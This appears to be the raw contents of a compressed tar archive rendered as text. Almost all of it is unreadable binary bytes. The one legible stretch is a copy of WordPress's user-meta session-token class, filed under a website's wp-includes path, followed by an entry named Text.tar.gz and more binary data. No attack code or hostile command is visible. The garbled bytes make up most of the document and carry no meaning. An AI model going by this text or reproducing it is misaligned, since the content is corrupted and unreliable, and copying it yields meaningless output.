v7&zhGn#&Lf[&BSu6ed"xr5wYDztX>*VWrLJL|dHDi)C$%5,LjxLSc0}=ڤ=c Y4s,l5gvAcu~^Z šxq<(mlOr!r<k7t/~"%/8(DGye  iZf'ٛnь*NQ׏VUK*EՋb9g ,_<Ls#e+>S擴c> ς$x0浢閝5IybB"Z6 ;i t&Ѱ5IoVjeQ 6qtL64~ZJ'{KOO+vdI"GO s s^;ZHkr|Ȑ4@ P֦ ϕOV՛^m[I%'eġ ~mBFD--U?KMbiբʕI' ϴQ]? ;ip(?&wYT??4}o,}w޾{__xc\c`6I//T,= 9<.ϡu7K]Z.K!+[uEC3&RDC(z߯zI^9ҡmd,<:lr5% (b͌sF[KE4pܛ<.: )KG-:(U7H蓎MKg5v8؎6 8ނ&G0'Yv޴a8 ^$){6f:̒ވvV't6+/%2 i5.Nz Uj쀁Rt: )\) &F\"t2H6ga~HB?"-RXt'j>DkoNLR` o(}`',45V%yLR#ɪ[Y-^-Ezaicd{Hw"vBqRiZ$%#+%eDj 4u&OJPS˥=U R c.9d1/Ղ\Xiܑ}kacQaCFJ 6>mqa`x=6b"w-x7n.x18g5q4VUqtm_do'k3~{ŕpyQǶxhDU1 `^&3TsbrXqr@ϩڨ{5;AIJWDȔ"FuB̍|qYq JH=}U}NԦrMW5B%q,@UǨ]𪪷Ih+G2U QMa{<O`UG|^Wq FA88K{ J]󼈵A s0!ւoT4^Ԓj_F@0x8kFDHsdsYʲ𠳼jg!f\e C~{hy9]^9Vq<)dy> 0ҷ=_V.w~uڲGT_ږP K/!6P PǶ'/y'$Jz9Reo䎋 | $k$j~JqTZ^" vf2e1 dH55Ll0\昲LֱymgϪ}lxt/"h)_8nJ~72Wcr_b_O0q(=lp:> Z%y(D[a1~յl;֋_{ڏ7~3|E3'A&@f'AOsl_ۏYn-d^G3 K\i7it7$A+ W]~*?"IhD>,0A@Q!W "*(ܯzg .EZ/qCjv)ͩ :g6ꐐBd7YE-PM:j=j9UIIRl= K>/g!BfYL㢥âxkJ4*A&JT }%8zf1RG)COMԈVHIHËH}DԦH QylEMYj%<@y9ql<]  Rijs=, 5\9nN,AULy*LJܔ#v*b\ijydY)BdTjR9n8]e=^ꠘrfʪV+ de-QN1eP@ d?5DjcXg|bU[/-Ov_PVrkK9-n~h2Zp)<6'ڤ52Cg%9yu R*wu|T 6&bş:kFEG5٦ɜ009&J. R cX[Q+/aXIc;Q:s{eT;r\境׵Z>Cpb(J׮7%K2̰'| 'qG&gvwM~&Q\@Q"$y#-gŸ!<*bxJLsrDjb9^f=`7j|$7=|ӋЦgRr A[53W]r~; 2|OS|o`]L5Zo*@4jd>m[Zi'O3&237KKq@s!sMN,ޤlћnו°'^rT`k\EI X q$rOX T?RnFGS8Zy\N5d1j#zU܊bX`HVvB +ݱj-.b>c22"FHjCc]SA-Xٛ?gStYؗmE%գZ^jT%x>Ϲ4SR%/Nn=V?o~4E3l/rn3.1oCQ͒qɽ6.A+miÝh_Cx("@R-rb5Ȱ͵n7w4S{¶%{IH`F({hTP6VӈʢWEҩ܌Jk bYi w Sͺ}EirTЯ1YҀO@EVNPêe?]PԻk1&IMG5-KNoVo59}K h쿞ĢvR.TҳD ]j8Z*X?* .՚ł"d^]K8~I]JU1^vO "i v"Ͼ@$mj[ÚaTrPZp"*zA)]a4U/*@J*@tݻ`EOH rt"iL)zuMBjfi\쟦3>nׂXZ)b9^[`"O@nx") N1ƓT-bh[̬l Pֵ9 2&X+eS%ʓݍXuXXQͺ}ȪWf" P=+H~`?^ yt}P8JS:VVi"3VLA/>aHi?u% M2bT.^= GCu+LQd޹wH6(r0A`\NA$ֽů\vˆ2`"µ@=σ/aEu,qRY5Gu:sǼ L]"Eb#5x,U5Ǣ)|NcuiI=L2@gO9&> %tXl Dݹ)z o~|^Cw\މ0)Y `EdLyG8|G%܅9%tk$PoZ*aS|"0N?ˋUi(+[Y N@]ς ~wUq61wA]k$ku:e#$u,CqE#uLj$))x0b3ܐՏW.]˪J8FKM )25]fYJيxztp2۶e2OhiӝTy!F?ceܘnJC? }xvG_OI;uFʟ?}Lz/'Y|:x6o{|j>y}o;ƒGφOOkwG/{?>_n쫯^<:F_4߯p<;ypoՋdwt>v}{EYg|t_?_}_R>L'QoJwqP;'$7j{U,< P7#L/D7Xr|Ouˁ-vQHVDp֩#*,Y$GV$|i 4XGmCtL3}v)!ə M 1׃BVIxNH.vT|;쭆.D/S+U.n6wVT/:)+ 㝂V3hrBMUSfƑS-vBRn_N&;b?ǽ]%SEY|nq7E$U:9JC%O-4hwkY֏43zʠy稑O$*J)F=~j)m?YՃo@#pl~ֵRS]*bbl,XY%/ƵH1FwjxvJc/|tWp{!]D/UvHG#Mr`ƁOx,Idie! z1#%bF+0(^C@ gΆ@b,EDl#"0cVA|ܱ8Ual(Q'bSY!c=yJL ` tOtS}ϱKA @3 Y3{%(&T rJ#@:QSе`tL"S J%yZe$`bz< L|E$/6 ~kI{#JD"e$Ab;Mm[ &N&ڎ2wWWK*! 94F6gFFNg)))I,OŦ9}N e KdڇGd#Wc 1dVѸTOPVM?(k\ (a͒Kck{Dq`Ck9/L_T5-g7m?2/gN #(LPDC 8;tf*h%TpĦ$gT҄$s*tVJi"-|2 ^· (ָ,J :d c`YD~IJeZzH-n1cX_ %ӨĜ\Cy^L0~`@ b;Cy<m¸G a'M[wp/`o!:%v w@b*0'؅`KGS:.k3"9O"cfW8Cr)m,iWD+GL_*jk\ܮYKl>}recϫ[O6^??`b~\_x}+äǖ=RT7|ij I/uUTyA4HF?ph Otgc-pВнzR@>@<`6'0v}5m D dvW"$1kÖuܢޡXP^ݟV7J$k~7x-JZ<.xjD0Օ/6v N.4m4o[2T9j*JEp&}ZP,P@1kI(_ W"*egh4'KzzN;mub0L:_'tjzF.D>qGa'9-G13ɇp҉zZ%2S7Fי^秄J-/\[wr8шJlKK'f0#]ɬ䬰QDYc.EÉ|仳Q,&w2Js|Hse0J&M+(qV/tPy(J]0=n).Š) eup,'߻X}C2)P>ah^qTy (N.-tĪlf`$Qe%@1ݑ4Y /jxXcr [R{D݅zpkEpY7,V-E jgq֧ I65G:P:tX֠'jף8ۢrJ,UdXU*>j\m^T3 ez Ě ;QHf,qOIyaq nWYEV}я#<4)7x:X9*j#DcO]?6ς}Lv>ۊ34ñjR`S(F%^JȍWw I%U4R'[ HNE ,zdGaLUΰlİ |8ΰݗt ]x._N"c81 C8X!8>P9sxV)yԏsiFF%+cbt+&I=/eTު΁aBecl).bVD]b$ETEDHV87D踆F6|Obk&f]*QG,*K=X'o f?m>zW;_~ʭw n}owUŶy}}zumǏ&IXiI,(__LU@01!i犨Msh{d=M>qe; 8CjHj%[Jݕd*܋.$Ƿzp!Oc[F?Sx+V$v:͞~At̻i5C=6 w=׋S<(3 U?4 |: A=.ˁ#և{'³vVƢ椴f}\B]J5L8*dT{K2&ṅk<9rÝ+?. 6pԧ.} yQBn !Uϑ[ ϯ孕a9-4-I"lhM9 h?%Z__ldZ I)wxJ T5> k:bY~+˫wWݺz:AXjf2j``?q3;?mb"'טKnB7i)coo@EG5RTV8I)Mݻzt L٨e˧TU0 q$#`Xpj+~ Q']V<6V `d Ņ,YQL`E)Lt2o̷y_^$ &h[7OG<>@Ì/}h)HtRn /}̜D ū*,9GRZ^EW Vz{{!>X] IC{ݝ2, p#P}{j\Ýov{[wڛ^>~j4gQd4hOqUTJ UDA Yx>Lq'Mo+Ж y@IOӨ~Aʀg}T$?b/]*!]аbʸKs{A7>H?V&0R =LF0C h P*b9QZT(Lfz6T('y7U+m7[GLV/;3"(њ(p{Ɗߩua[ͮ@=ŔU;mJ*k:3zX0[)%Z [ aj#%ERDkCoG)-eiT̪eb#FfdN]1*nTƎ )PŌۏ24 e8$C6# 2VIljB* 87K\uqsX%,c@g!Fl&4i*,⒕*ӞrCoRZ:Y֪!K@,z^{ Kt"["-;h>bz2:_g8I eX=6*Mb1n*G hP~\7խX|)אsJX˘%)+VJ 'wA\U'r+EEw?˃cbr78A0L1rU="/qy_2r7UּJ0Cxn.tdbSnA!0Qj1(Qp ?<vORع-x|;x U aE*sLTB<;3qF8*pjNWތk_E`-0斔>NŴjBR>@6F4LNoDUEɜX،&u {hг?FJ׻ϵ^w>)ÔM&M3.ւZuNo SL9´vf_">'δÄ3&O]Eiܥ>=S>iPiT>{޽w%},])C@ܩM35`ճ~"zE@{QD#kR'}|,K-"C+'S@w(Vk^,}jVȭz`ČUa |Zִa"쨔 $F&,G%--l3κiXH) @NX-ɿNX;N(Vav@ ;b;v$qHhDwS:eٙA+lDAPLGdWhd|,[r| /Ź_ Gx5 @CC4Р:uE͋Hϋ2+lϋnjD`[*ZX"f?yqi=eǒ$o%1heFpF"+#NX}\\z$+5uag!NoXYo(NMHawZ/]Q=6 Fvr 㡫V(AUީR$G+""Dj]+R[Y5M+Zeg2(V-dN oyH!GM 5TJ#':Z٥Ī×]-?[94Zr^+3>@jA8WY7b84 d6K;U)bn:b+cJ"y"6<18Nz{~h}+t(oGsI;ق&MPRܬAtPt`>JBÆ55EڡO;Q=|Ǵ8&wt/ wh*4H a>7|<:PK $[P)class-wp-user-meta-session-tokens.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-wp-user-meta-session-tokens.php000064400000005656150547656200024306 0ustar00user_id, 'session_tokens', true ); if ( ! is_array( $sessions ) ) { return array(); } $sessions = array_map( array( $this, 'prepare_session' ), $sessions ); return array_filter( $sessions, array( $this, 'is_still_valid' ) ); } /** * Converts an expiration to an array of session information. * * @param mixed $session Session or expiration. * @return array Session. */ protected function prepare_session( $session ) { if ( is_int( $session ) ) { return array( 'expiration' => $session ); } return $session; } /** * Retrieves a session based on its verifier (token hash). * * @since 4.0.0 * * @param string $verifier Verifier for the session to retrieve. * @return array|null The session, or null if it does not exist */ protected function get_session( $verifier ) { $sessions = $this->get_sessions(); if ( isset( $sessions[ $verifier ] ) ) { return $sessions[ $verifier ]; } return null; } /** * Updates a session based on its verifier (token hash). * * @since 4.0.0 * * @param string $verifier Verifier for the session to update. * @param array $session Optional. Session. Omitting this argument destroys the session. */ protected function update_session( $verifier, $session = null ) { $sessions = $this->get_sessions(); if ( $session ) { $sessions[ $verifier ] = $session; } else { unset( $sessions[ $verifier ] ); } $this->update_sessions( $sessions ); } /** * Updates the user's sessions in the usermeta table. * * @since 4.0.0 * * @param array $sessions Sessions. */ protected function update_sessions( $sessions ) { if ( $sessions ) { update_user_meta( $this->user_id, 'session_tokens', $sessions ); } else { delete_user_meta( $this->user_id, 'session_tokens' ); } } /** * Destroys all sessions for this user, except the single session with the given verifier. * * @since 4.0.0 * * @param string $verifier Verifier of the session to keep. */ protected function destroy_other_sessions( $verifier ) { $session = $this->get_session( $verifier ); $this->update_sessions( array( $verifier => $session ) ); } /** * Destroys all session tokens for the user. * * @since 4.0.0 */ protected function destroy_all_sessions() { $this->update_sessions( array() ); } /** * Destroys all sessions for all users. * * @since 4.0.0 */ public static function drop_sessions() { delete_metadata( 'user', 0, 'session_tokens', false, true ); } } PK $[gc Text.tar.gznu[YzH0 WJU R1HfQ5Fį$@P8)+z^@>܇Z}C}[h3@: okVǟgX|rJRqy9\$eLo;Mm7|&齴%Rt_j&hK࣮쐟 --JNG%UK5-5TgsdO}lIcAU; /} htTu:-5ME- -qTCjCղԱTOK۲fi￱ijooJFV䞣*Ps:VWEQ#bT[ .泹,iA/N-Am:R8Lf8;g U%&,4]*']2 T [4+~{zHK-ila4edMU+J H=e&łힾ_e8Y~GJuuohr߁.H"SMSmۃ$€y/-K#4;V_ lI2bO2/>]WͱC0+fw )2.Ğz%w[iA5aU&wUʬt{1Ғ*1kg麄eqP9Y7TI"9!oԐ `-aGaFvJRfe0Mpd NL@0d7$,}$O}M¿d2pPh 64]sдeJ-[;g  ~xc uq6lĽ_v 򒡆]H0G`B=uSVT%8B*I1;P%U1 lCUz$@Sj}ft,ބ),e(;GD:vMK11"V* 屻n u@ (7b8a"ZZt$x SR68@9"sB%-M+O3ozHNwDq. L ¤A=TԔ5V_mZ4?wQ)nCj>2G H5zՑMHK&w=@*R|s<IMp{!#2BRY"Q-gz9\ iaS }GAXv*Vmvӈ9xdԁW'j !A7Tƪ@iR/Ȩd'jƟUCg㰜1g3yl(jdb$^R ؐbnKW7OCܧ/;;$E(4q>tM)PmnHi`5LSV_EzM!)8ؠhL=ͮbv3ZndљE h%(9͌#5t'Du._״,8&& a,p\L ^?q<,aDvoziWurV$ԑ`>J.vO,U K+}p0Q=q"lvUV+bn\P"M=tu/aMI8šl}8:wW _6r<|(4vDadMG'R#CUP#Kڝ?C5"ЩdN)x :P<0f( TRTLD}lGIV"о Oa(c6SgkuS4Ƚ%%M!e=Ƕvݞi0Y!:MXaX&6wTNiрa!$L^Dz 2.@k W5+]6[@ӽӘ-{G`pyOyoаR 5l=ځ9p.!LQ?>?TcYe=ɚ 8b֨)Z({փ#zɀG;`l7M~Ck{EM}>0$@zASDv lXP9痚H@7A{!J;dd$| ڑ0Q@ f_ L"K|.#~i'DM{!h k z66ʜv2.)Qڳ*IHoA,{oB|:QS!JsO3Y&k4;]C#ȵ^gr8<wb~;ikPusܾ PL;tݠPⰄ ,n(4{U*X4eW'jNefF$ULsY{r*G{Hl'LV7)ˉ3Q\6\UlB^~w8Y[f鄸_rHT2-@J]/[ GP*m+OГ &(i#GצZvv0eވ xO~)s gH?k R|r > QWcVڭ_tt<¿/oj?*ObۿDx҃lZ"_T1[4>Iו ˛Wjϴ}?Rylk|.Mc<Z]x4GMx꒓?\ x]@vz@I!yñ>gLl /ϙgS1upNiv?g}*[vzzCK x獎 G#Kx搧i Ƕ*[NJjܿb@+b'&[OaC~vwn D :ս'G<8]=`+HI3RjȶLSp_d]^[I1\ GǦB%mضn6` ]6oF d^L MbXOH{ّ`pPSb >CqD ־;Vzm[8y /Xa$ppZ~04g_,$9I /P'_ Q'>Łٷ%HC75 @1b ƭglC^XKkv1 `,; 6IT/K'_Q.F_*t'oqk)xH*BfѶ>C1J/Ċ*0<ۆ'H Ez6FiBF$r*>5?K@jSniO)QEJu !LSE]W2iPQV@5X}#`.20#<dRܡII2))G.ҴjXj[{Vp5˕>/ JAEsKO?jz@5]#w_{eP۴G xgJOjOQ8bb |BGlI3cBWѣGr](Rs ?ԡW&3U0i@.Π~oN= DgҨy=r+)V1){ !xuJ |1qq`+{\KH:r,l;BFIr Q)BKȀ4~kaudG{?Q4x% T I&;E"H>|%|߰@%Sq08Ži>/Y2^mat.|ԁi&8E"cxx2k-ԐaҀG]PͳN^lPQ{xDILJF c`Il?1]?SE bUeo€`xap©t-ӀUL u ڰ hT1%;^D>?OYAs[jz?yPfJ1ռZRFiyUnٜRb*!SPb>P%,I՚/zSg`aT?wՈbVQTe?ۓM-ܟW.O1|B"~YXucb?XM`ʄ Ql#x&F)$tFJ|)]H)a>Zmb @k,p *jKpz, \'yOI"<Egِr:}* (+*$ǟbc T'~E+\w%TR$0>Qi5D<$5&^{,t\bL 0 K('aP%ˌYjA42):Ɓœr'F8g\H_źdܻJFL$|%(S76;LL$^~z_Trm[EIe#SwӠXdRX/ !T4œw&F' hI,.D%/.?Teg@#AX HQ5!07xOk5G+J 6BOf' э".O~kRDw@ALK6a,)vm5`pI':Վx=Kۚ7P@lFn4eЊgLWlU'Bc!N$(rs09 2P1օ|qXD5ˎRcc)B/ m9upqRU/*6|ۯlW [hrb=!ɱxWO/?o?ϿL|slWdqhB] G" 8;fT-0cij:Q*),'#x[.sD?OoHA1_ {bBӜ)j!uwDA}#c”329K;,v{:rplOx KJ"})'tr{).,L\0/1I>QPH"NB;@n.Ey\@\wWGe@ є == w(,X9`kD/X?F(Iǧ-9Žĝzo`BBb!j&V,Z˥2ɤ"j|x )1;);dYrl$d.Pa1:H?Ҹ01T(O\Aoșڅ`bA"'j/ /ڼ/i%&"_uo@VJZIDX޺܀ 7ZB%VcB`&KLU:^V3&hO#pdo'%_k|8үAċKw?90:6Y`LMT3KF"D̺"6r|ѳ2-*eb*$y;}7|"{g4ac* ;,0Cwg<3P٦[K$Y`RXb"`#&" gO {m?JL88KH4I­Vh^ `&QOrCSxM+S_ +clt0E򙵸z?譺nLO8cд11S1 ;De5L Ate#@N6N|ZOO_ߋ4PH/k :k yHXHl XH,.U8-K :M_%y#o!;6 4x`l ZJ6i b3AM n 6z704R,,+γ|:unoBص4kJ3y_ iPΜvOcBc_6'%li.@7ՠ4!(1FZJכ{5_QgO!_oLYXK[V~˚ >} |18x7-‡ ?Ӆ/l:|IEt{>ɹ$>H"M^l$'!y 79cvKXlܓ3̪hc&\IFQGxMm~qƿtw2h4HÀшvT\<@Cͷ]$s|II7n(G;/(Nim(S_e~"%?-q$:[R;9[6'*ri+GOpg xiĸiG蚢pO:%"IfU6zld#nZ0olKl L8n9uӗ yD\yn>w(E`2oq_aT+PcҺ+H}cW(t(.h1*| 0 ZHU\ 6n-_OkLZ}gKROMQo'xE\by6']6`Kq紻].*{"@g!iOt |EWTlҨR)1u¹357AP?bi/Ƶ51fc%g?2#>x3k,imϱކJIR@16eATcinǸD%d-D%?UNdյ=iߊH1]0UJ4DQcnVGj[߸0"H<МOK= "bqϐ!j[/:;+pO-T2XFpݳqI3ړ6:qY׹KPDU]jL:5zK5/1گ W Ws➉/H[GƾTWdOpY* dʠׇZ}K b<фY?BR`(a50z}'%?(`2\t"&{#טՏ4uZc#^;S[@Dg,:`uIꄾaɔȃLhӡMiW['n,çvq٩^,U<:[㗭]e~Y-3yh]^;eg,^іQ|:j׮ z2d&=:y~du`7_Yy,MyWڶ{oW-Y p|,3rjQ^)ի[e63 7zUݹVUnO/WBR]]֪+۷WݻѱVhαuu70~^wq>/LcTs|{iՎbv|zxuti>okxjf>/>F[sZ/뗃 -ȧU渤tk]lk6wS\4+݂zM?ə\>ڿ.å]$z|yx}9:{{x\*p{(ظԛ˃SUw3,Wn|9:%sT83ML+yjK908#w( Xޘt7Zuw߆{Yw_湯?G\hyDKKQal~Jj& *n! 6xG xh|.*{`cndbS`]_Ŀqxӓz. Mzussr~]>߮nߟO"q*F:C!{Ӄs 1"[:EC8%:yZ,-Iʑ`#Mqs۷ѝAMr(o\;|Xn$s뒓P9F 'W96y1 wdPEeB61dzEIHSwpaN`*z.= ͬѮwrKR <. n)_k:8А[xu[hTBWt̓b>+WdMO_'LK4A wq%}t11FQG"s? "ܩ&|+9m!N?H2_hrľ)U1'ppB!nŻ;8t=ͅNiz(Ad)qWIH aJ0Cb4/v6ρt ԀԆV٫Mɇ5-P"w($G7vTr_cL Vț_CB;n7CKaw9F> -84ݡNŪ)*Lވ 9SnʼۉPd1a$x mx`&딝qy( s,8$}m)r$a4RlS죻ilV4,oa^"kQ.aL>`c1słof)[VÛUr3索D|BXNTOAC q&#d@ml/an[Nv)QRDNcRHMiU*Q٘y/lQ-'4 {ّT%zPFB1/W BDXl|i-K xM{~^bayCMq:ܹ  N!V2 N"s2ve+Ҏ|WKHBbEESc)8ʤ0xV076'WgB>br˪B 'P%MB9ӟ:L"k~iz t-fS\Glie@X}6ѼS#wߝ0t u4'L([ozf(˜I tE,ZZ&,LC&$ivN ?j$^ EsӑcՋI)mmlFڙ )3Ig}6!Q^167ilY LhzI1˳;NomƦ5W}aJX>4vY![$#c`F=`%V5~dr;))qp 5SܸӋ픴u|J:Dvn O;u]HI^뇞ڎx_{F%_ܟk|AP2ݼɃA#KACfpH\:|CckYhhL(K,'d#Q`"ZmywGȶB ױQ`I]ȋ^O!?~2fZ7hfeT\8LBGklͮqx)[m;0즤_bjJٿ~mԕ֪T-eEmI|ˍHouzvNF3"Ͼk@<$}lKK=58XKPQt28$I:CxFi&s?Ɔy-MB&9 Sry~tr f0jF&ː*angʦj\T^[ BHeg.~ZX|ZކbKΫ;s,8}ΫZ\JM#5pLxU|G@bm4kcX>Az492?&4Ŷ>clMcN( X:MwgW 4F$V$<7_tPLJݔsO-1_减agMYI{Z0 P/N[rWkss3Gjjb9XWz]s^F5 4)`#xlviiuu/b1_SZPg{{iVp v:NPܙ֢^3V]|G~-W*KlL$Z[ݨ7N.Bd|A>#XؐCj4 r94nN`_A@ĢIEBuY,ZX4]Ѣ$"(ASc*dwv\v$)KQvܷ2^G4vMW~IY43 } %]F[d-MCڿ) "bk-ٷ}f$e>*?_,T~c$ Y`{=olP3rⲶ5nzryA6jioP( +EWer砢˗OggfTǫf򲺻ɃY9޹azܗOK'm-o򪼲l2i_WJa\)/kZU+ۣnQ=WjY{лGN)VQ/W䁾\>jUYo/ONy=,ow/VJZ)oo\GBxZ1-s4M^LvcՓlNnl]'7ͫ3?2臃[լ>F=;X릾mȧJJvΞNխ='iVk1rnvۻlѾΆ={mUz+;w{ա~!_adOmj%wstU8wtf\OS/w;n\ɒUF,+enwavu۶2v%|g]{*ꁵWߌV6s_֞OOrt\;<Ωϗ˻b3Ja7+B>8T{Kjd=]׬C)۲u,@N?g,J[iTbd`\[׻7ۋR]1Wv.oOvݛbh.꣺ګ-zF{(.׷JY>zsv{>2I+ ZN~KVwLyݫ.tX~,]WWW=ʎ!gwK޲~] .oj4쓛-w|zǸ(r&ꃻj2mnV;ds|ݻ>qsPY=hh4}tNYꤑ*N^-5~xttk&zvcrz5Qwk|f~)ӯKe4VYcUYr뼤T3RxwвJg?^}8*X:t O #*s\[GJm`ɝBϬ>f V&{V1ڕ˭Arwzx7'V%jnR:;z(:͖ucOg^Tz8ylz ZlY锺GBx׹RwOӖݛMP=jǗ+%k;]'tZ3 ӕn4庪aH{׺%{dV['{^A$k;%;* ;;'r}srrP~]_T <0yWkNdTyX>]<>'uSQ{Ggzz|{rx5:{2;]gwH4#ggy*_<{jW;{vWѯr8<-CԖ?F&Taw{wt5*'kHUrxw4\?*9}56ki\U;-u%sJ=Mn[OƹܹZzcԼjރ[Tc+yW8>Ƀj~zt(?vO~ғvX+Ome9)VoGV_n/Z{9=V]>]<^_&s8{7厳<8.nυL}`8W嫫Zqur˧ӥQ卜;i9E9.sepqzu~zk-e'Q28[sWwϻE6<3Z̓Bn-Y1GIu/;Z]7|=8[T_&J`X+vk4̞襋Ar|mKG|k\+]n- Ӻ[.OO yL.UMFI4ܜq>yYZtVn'\Nu8˖7eZojmeYY=ʕVs ʠU[jdZ;֎Nk>MX~ʯԗGsۅin,է^YkgSX,s$,qۆe<'uC;-.zfIv<\-Nw]kN2QҨ;ȯ4*Rr|~>Z^ TFrZOﭘCn]ճQYKϙ#Fn;/ogʧ+ReW"]Luec Rkgf<=n-q-W}yvZ'OwZ|E-mtoP/Z\X)WAp\sV]iw\^^Wʷ+[JT]꼵?Y] êaa5N JgW'5Y:.u`;/Fk|^WkNځP-ߞ(l]Jw1t wYg0ջNvv}{.]~8SkۏR~pֺ<._5Y95CY=跃^*kwɛQ4J[3XrգSrx?Qn5.~pwA{\WoMN].;;7PiΡuVIxUo_vr|V?*OmcoTzʷrf~?WnnDlY/srzoUN,u"?=ca޻^'+]{lcw\*(=fOW4U.sZZa\i:ur背vbvGx'N֭T7D~?RonULw|!LlK5e{TQ~7k{[)rr\:m懧 G{.TΝS$+磛vn=$yR{BTlcwnszi&sZ/<^vՇ-G-ןcuX=\n3+{i$7ڙb`\\-k{EԲ|Q>{vvwWίGK9'騙jtWg]sS25l *{A,Ůvdε۳nk80ϴB\jtKgy8(nvs{(z4fL-+u,2Rm]޷f}>-^WH{ع.wculsf\7Vsq{t\QG$ʇD *LkPNDjdd+<V0gqwwN2Ia,{PcN{tBټ]iEi{vjU^IvnzSqhiťnCT6/ǘl{suߪ4ÇhYdkg[n2zmXwr{W,Z<)L26Fzevtw7e:^Ro֭-GR'H:ʎ:nj;%?ZWZ]ʗ\0:'ExK^imV\y2ɧj.G>fڼ8z~Yَ:&WzʲXòY>W݃[cܳ3gҪzX:[vpׯwִ.2'YrU%y(]p{gk;W̱|Ro=e\m빋[PrgY:Tǫ{GUj<wrgsw; p;o埫u4.3~|ֵ筳C,>ٰcUBZThd7-U5HNxWH|7J6'kfq SZkQ~[ojˉ(BP%NjNVd.{(ؓǭ" f 7X?JtWz4 )) M$1Qi:>:_,,ʏ.MM?&EOM>%Ů,`Yd"m }deazCuV^70S@ݘ1l1eLhA Z5c E#1iPiĢrHx`AL%m7: #¾ $ 9c"G$E.wQıD*ܛig%$iMoa4 Oʱz7".<bM ^﯅rcw۫Jղ1W#Ne@ M?_ݝ]P dX#W#g5%^h"HQ&|&e$w/ ܆4WҴl2mFӰ.H|-~X`ǓeLKZx?Ҙ^Zgl+=z-r6ղ[Ree@4,|[x3&ЗetMr@R0„yICyC &ڠg[(F)2Ȱ{vh^oe|9S =e9Oy?K ȭX~h="%U3O.RHALzĄI߈/9_W!v\kHF%d{=e6L\]d@.474|ӺĮ#zqAMǷz}1/{ht+Bob&RGh& Y >34D;?$hCLԒi77g#x15Gveh: ȕČEi[Fd[%"lf W64I" vz >LsqMH]͒zqsʖ| d `B>JŚLņi6MW||joїG#MB=ĝ7,e6+T!0X TBVҼq/{Bntoh~Ն7ԣ.#`ßrYĢZ^Wy,Kё}uSe._nRdMD{$=ۍŜp+sg6$WfDZW^ߍZɈXu 59F4grҐ h_1YM6"0w&H|2m.Nh"ilM"3CT}57^—؇N!p/߮vNrJ,m't}|8O"K ).+{ZAA84KNt?J:6JD:dh fKG0Eyc#|9 OHƗ+JRa9'de'k :rF[q46QB ^sƤvV6bD t%2̈OyJ6:ET~?/~N#ݬkyjdc%Yڠ4Uk-V Ds UK2MJjFfSt \)٬ ` 5h 45Y'yH~oB5EəPS6e*i<SW /ʈ晱gTQ u%78DrZ=}nSؒ"~_`df南<54O_\ǣ䵛%MV+8`aK'ȕ=9(F$%_d+~WZEJ2n1t)ݏ^z@'dNs p;3Z,.}&<'xɝtյυ9@ G?b_5pjj,swO?Q"iH_XQa$zK-R.!rd%7g0rS20'?q~dT'ff||˘^BB\1[hr]|bŠİ 69S`d7ĒcLEJqBhTlE}l(-ql1& B$7^ du&^'EbrU'QT<WGwRa;-{wAӁЧԏ>R _ѽ 0G6g#IFlEt~eT#XQ`~8}bI[=~,0"I PY .6[Rd,U5v4tTš4&e1]Mu[聩 U)|}V(kcmΞnSo ]*D >eЌ_h5;ڀqPB ػ*bizk ոwAi@"4)06+م#5Pm. I8PCwBe z LGRVPaIV̑جq 2ezxw||i5nRm;vR<,=׮oz*I؊VzqpkxHL׿`0]dᆞWNWiH/\_u^i %@nilE ofe?)O"%6Z cAf<<_v =B`jb<CnƉz5i?en{b*E k\&{}H.gT"NxM _dE!iM?u#} 8!Okb!n̋]9h .M2xPbW%ב՚/s^2ߺBx>rS¸6570uHݴ.`]L|~WٚߧHAb𴗀YéU6z=(]$%V ;T܈|Ey.aE 'Z!4<-{{i89 ?M: ݾh=rU1# _U:V=*iY8ՄܰM?~,s^D+K,4.j+ !_Kqb8SV*!+qNoEAiXbtoD`1 }LN~e%w1Uo79Y^ J#)VF4'#?.*7Sѝ)a s80&UA~P̟ ?z|cT]7;)';q T9kB(FN ZD"Ta oL4Y'F‘jȫp"a&X9>iJc/}e(|5Љ&R\3lHNWZ^ mn|fEH<c;Bbq5gݻAk}$S"p? dK\6&ZI<5L~Ϯ5C1i- d @(s|>zf#RȚQ\ɦٍ1)HISWZXSi Lqw>jOV}#nN2${ ڞp<$2k ?+'7w,ChR^ c2qA:xsZ6%kI\la!i=]~ꥧl I1b]1YUI,J{]MwPYaq\*3T%"UH7C~ q)R0DߛQ5ĕvF͈Ib $DMW'oK&C'tK/ {!U3e?*#9[BL ]IB%#BPPbwQִ5{>[lУ~kkȗTEzEC#}-$UA=;{\J] VrXXpLGYQZS {MMS<98KELqɴ5of7hA67w{%INnϜqLk4'B!;w ^1TK`0# ňa ]tQ{O2kĥG%!g#I;4 (}_3 cb Ά6@%'֤)l"šJfG:j,"Mȣ:r/Na፺cpNZM祮F,(*1 0/mxA'Uo2$ru$BwpjWs&}<>=1$_p. %ݵU8Oz>i}29%aL< B$L]?nv:R2z:M \v˯HRD(sECRSڄ҇RIz/) Tb lrph,4Ai<6פjkLY<+$AZBRGE>*G+ k} b!&C"q6kPfS(a%O@TOV[y|UqZ_h=UHKHA[FW/}Q|?2.A.)H~vf~&_3WzBޗuۯйAP ); iDk`y51I mj:#@e521wd9@]Қ^#q ?&>3 l~yI} Y)470U 7Xܦ@rbv j0QJ9#I ɔH$<(0jKc$C)<ڲcZïZn{%@NEUi9Gƒ%sպm:wϷo#pHCxr >d2~Kmpګg&Zh z FLܜ4&c'ylC#@]^picˊBEAUUd *$n7}IZE ⁂xcă`P^Rʥ0IX:I ,8AWw cUh%#\ \pCtsO').",+8*v8[-ٵ qH,l3 \dY!cھ!/TQz`QSyPtrq.nRظU$K-e&f;l?"iP.)@-̍x`k<tYxy򖵂3ז9!@~ÿEulssu {; r6?n>%E~^h[-" R.#oY5[bCVf֘YA= b0$/.͊'ܰ6g? ЪPA'PĊ B5!UOD_|g*<ˤ&3quffOR3WpDR}B%ڊ6"ycu'RT-9Ӛg9(BwXE-@KAc$-h_+)YO3TŠ Ut>QIA}t!k te}!OVo\#?)/[H4-I^*juL,ȨGU0|&'5MWa={zl:FAߋi(qRxu [K۬&6@,4-&C 3a-npՂ6MӃ LSG]^̉eýۅQz'n\ 8'UTvQo*H0::ciI(5ݜ "Sq=nyx{y `{m"Mb)Nt}1"`4"Eߞzq*|3rnN߲҆tϹ7P`r#G-$+Y\Q݈ =K6Fށ(.!< ̲^ϵHO|JIފSB;Ec8Lh+7¹m3KEBh)%ֺ`OgIΏaqOr:'BʮϡjBVB ]3ܩo3}ڇA[+vC]&q;,` ɘ.O{ SswV[xKل|f y6 83ָDx{AlxNI:;Ļ Wrr {RbIHRIEEo 